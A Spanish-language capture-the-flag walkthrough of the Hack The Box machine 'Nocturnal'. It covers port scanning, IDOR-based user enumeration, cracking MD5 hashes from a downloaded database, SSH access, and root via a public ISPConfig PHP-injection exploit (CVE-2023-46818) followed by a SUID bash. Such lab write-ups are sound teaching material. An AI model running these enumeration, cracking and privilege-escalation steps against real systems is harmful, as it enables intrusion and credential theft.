Descripción
Nocturnal es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Referencia directa no segura en una aplicación web de subida de documentos que revela credenciales del usuario
- Acceso al código fuente de la aplicación en el panel de administración que da acceso al archivo de la base de datos
- Credenciales en la base de datos y reutilización de contraseña conlleva al inicio de sesión de la cuenta de usuario Linux
- Escalada de privilegios mediante vulnerabilidad de inyección de código PHP a través de la aplicación ISPConfig
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.127.110.
$ ping -c 3 10.129.127.110
PING 10.129.127.110 (10.129.127.110) 56(84) bytes of data.
64 bytes from 10.129.127.110: icmp_seq=1 ttl=63 time=48.7 ms
64 bytes from 10.129.127.110: icmp_seq=2 ttl=63 time=48.1 ms
64 bytes from 10.129.127.110: icmp_seq=3 ttl=63 time=48.4 ms
--- 10.129.127.110 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.109/48.417/48.711/0.245 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.127.110 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.127.110
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.127.110 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.127.110
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.61 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Agregamos la máquina descubierta al archivo /etc/hosts.️
$ echo '10.129.127.110 nocturnal.htb' | sudo tee -a /etc/hosts
Encontramos una aplicación web utilizada para subir documentos a un servidor.️
Creamos un nuevo usuario y nos conectamos a la aplicación web. Tenemos la capacidad de subir archivos y la capacidad de salir de la aplicación.️ Intentando subir diferentes tipos de archivos encontramos que se aplica un filtro y solo los archivos pdf, doc, docx, xls, xlsx, odt son permitidos. Por lo tanto creamos y subimos un archivo de documento a la página web, por ejemplo uno creado con OpenOffice. Encontramos que el archivo se subió correctamente y está incluido en la lista de archivos.️
Cuando hacemos clic en el nombre del archivo se nos redirige al enlace http://nocturnal.htb/view.php?username=user&file=test.doc y se descarga el archivo. En los parámetros encontramos los parámetros username y file. Si especificamos un enlace de archivo no existente test.odt, encontramos el mensaje File does not exist y la lista de archivos del usuario.️

Explotación
Si cambiamos el parámetro username a uno que no existe, como irgjsn, obtenemos la respuesta User not found.. Podemos utilizar esta respuesta y el punto para la enumeración de usuarios. Si encontramos usuarios válidos podemos acceder a la lista de archivos de cada usuario. Por ejemplo, el usuario admin existe pero no se encuentran archivos. Podemos iniciar una enumeración con fuerza bruta. Necesitamos usar la cookie del usuario registrado para poder utilizar el punto.️
wfuzz -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -b 'PHPSESSID=s8ff0r8rs5p56ggosqefr8n7s9' --hs='User not found.' 'http://nocturnal.htb/view.php?username=FUZZ&file=test.odt'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://nocturnal.htb/view.php?username=FUZZ&file=test.odt
Total requests: 8295455
=====================================================================
ID Response Lines Word Chars Payload =====================================================================
000000002: 200 128 L 247 W 3037 Ch "admin" 000000194: 200 128 L 248 W 3113 Ch "amanda" 000002688: 200 128 L 247 W 3037 Ch "tobias"
Encontramos tres usuarios: admin, amanda y tobias. Para tobias no se encuentran archivos, pero para amanda se encuentra uno, privacy.odt. Podemos descargar el archivo propiedad de amanda usuario con nuestro nueva cuenta.️
Estamos descargando un archivo .odt pero el archivo de descarga es un archivo HTML.️
$ head -n 10 privacy.odt
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>View File</title>
<style>
body {
font-family: 'Segoe UI', 'Helvetica Neue', Arial, sans-serif;
background-color: #1c1f26;
Encontramos que después de las primeras líneas de código HTML es el archivo binario. Necesitamos eliminar las líneas de código HTML para tener acceso al archivo descargado.️
$ tail -n +122 privacy.odt | tail -c+6 > privacy2.odt
Cuando abrimos el archivo de documento, encontramos la contraseña para el usuario amanda, que es arHkG7HAI68X8s1J.️
Podemos iniciar sesión en la aplicación web utilizando las credenciales de amanda.️
Ahora encontramos un nuevo enlace en la página, Go to Admin Panel que nos redirige a la página del panel del control admin.php. En esta página podemos leer el código fuente de la aplicación y también poder hacer copias de seguridad de los contenidos del servidor web.️
En el archivo dashboard.php, encontramos que la aplicación utiliza una base de datos SQLite guardada en el archivo nocturnal_database.db.️
Podemos descargar el archivo de la base de datos tal como está, ya que no está protegido.️
$ wget http://nocturnal.htb/nocturnal_database.db
Al leer la base de datos, encontramos las hashes para los usuarios de la base de datos, admin, amanda, tobias.️
$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
Parece ser una función de hash MD5, así que las rompemos con John The Ripper.️
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (tobias)
1g 0:00:00:01 DONE 0.8474g/s 12155Kp/s 12155Kc/s 27440KC/s fuckyooh21..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario tobias, slowmotionapocalipsis. Podemos conectarnos a la máquina Linux utilizando SSH.️
$ ssh tobias@nocturnal.htb
tobias@nocturnal.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)
...
tobias@nocturnal:~$ id
uid=1000(tobias) gid=1000(tobias) groups=1000(tobias)
Post-Explotación
Enumerando el sistema, encontramos el usuario de consola ispconfig.️
tobias@nocturnal:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
ispapps:x:1001:1002::/var/www/apps:/bin/sh
ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh
También encontramos la puerta local 8080 abierta.️
obias@nocturnal:~$ netstat -tulnp | grep 127.0.0.1
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:587 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
Lo localizamos el puerto hacia nuestro puerto para verificar la servicio que se hospeda. Lo mapeamos a nuestro puerto local 8000.️
$ ssh -N -L 8000:127.0.0.1:8080 tobias@nocturnal.htb
Encontramos que es el servicio ISPConfig, un panel de control de servicios de alojamiento.️
Tenemos acceso al registro de autenticaciones del ISPConfig en el archivo /var/log/ispconfig/auth.log con un inicio previo exitoso del usuario administrador admin.️
tobias@nocturnal:~$ cat /var/log/ispconfig/auth.log
Successful login for user 'admin' from 127.0.0.1 at 2025-04-09 10:19:13 with session ID vo10b400dv579klascjkkf1568
Successful login for user 'admin' from 127.0.0.1 at 2025-04-09 10:54:48 with session ID k6cfshre0jfnp81hetdrc1c67a
Podemos acceder al servicio utilizando la credencial anterior de tobias, slowmotionapocalypse y el nombre de usuario admin. Navegando a la pestaña Help encontramos la versión del software utilizado, ISPConfig Version: 3.2.10p1.️
Se ha descubierto un problema en ISPConfig antes de la versión 3.2.11p1. La inyección de código PHP se puede lograr en el editor de archivo de lenguaje por parte de un administrador si admin_allow_langedit está activado, CVE-2023-46818. Si podemos obtener la ejecución remota del comandos en la aplicación web, podremos ejecutar comandos como el usuario que es dueño del servicio. Tenemos un ejemplo de prueba de concepto de la vulnerabilidad creada por bipbopbup en Github.️
$ git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit
$ cd CVE-2023-46818-python-exploit
Ejecutando el script con los parámetros que encontramos, podemos ejecutar comandos como el usuario root en una pseudo-consola.️
$ python exploit.py http://127.0.0.1:8000 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8000/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)
Somos capaces de crear un archivo Bash SUID y elevar privilegios en la sesión SSH.️
ispconfig-shell# cp /bin/bash /tmp/suid-bash
ispconfig-shell# chmod u+s /tmp/suid-bash
tobias@nocturnal:~$ /tmp/suid-bash -p
suid-bash-5.0# id
uid=1000(tobias) gid=1000(tobias) euid=0(root) groups=1000(tobias)
Flags
Con la shell de root obtenemos ambos flags.️
suid-bash-5.0# cat /home/tobias/user.txt
<REDACTED>
suid-bash-5.0# cat /root/root.txt
<REDACTED>